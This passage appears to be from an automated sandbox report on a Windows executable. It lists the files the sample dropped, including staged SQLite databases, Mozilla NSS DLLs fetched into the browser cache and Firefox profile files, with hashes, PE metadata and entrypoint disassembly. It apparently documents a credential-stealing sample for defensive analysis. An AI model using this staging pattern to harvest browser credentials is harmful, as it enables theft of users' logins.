Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJDAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGDBFBGIDGIEBGHCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKJKFCBKKJDGDHIDBGIECBGHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: C5u5BZq8gj.exe, Detection: malicious, Browse Filename: hD2EOjfpfW.exe, Detection: malicious, Browse Filename: AVSicb6epR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Eae0KTw4m1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949180982490944
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'815'552 bytes
MD5:	a20790233dda144c25d87b408f14cd70
SHA1:	2efe5495b2bb1df5e88065332b6f6c47873f015d
SHA256:	04e6a68c80314b30bf8c078b4ab2e7e52955fee7e0054e3748616dd7891527ef
SHA512:	e1f0ab851a52af809b262096829f5671c8cab5300f8572c9909e04ba5cb79d677233daafdb78ea949c1e892a65135c58cdfac389fbc0e66fcaea17cc9d0f648d
SSDEEP:	49152:wMGsEhqKVHwR3GkySCppLaMqJyD4rcm6d4bU:wM5EhhHI2dSE9aMqDIm6abU
TLSH:	7D8533590DBD53EDE81A8FB446AD4F20106FF8F09C6D31B895E05E23A65F287E1C84B6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa85000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3A60C4FD3Ah
setb byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
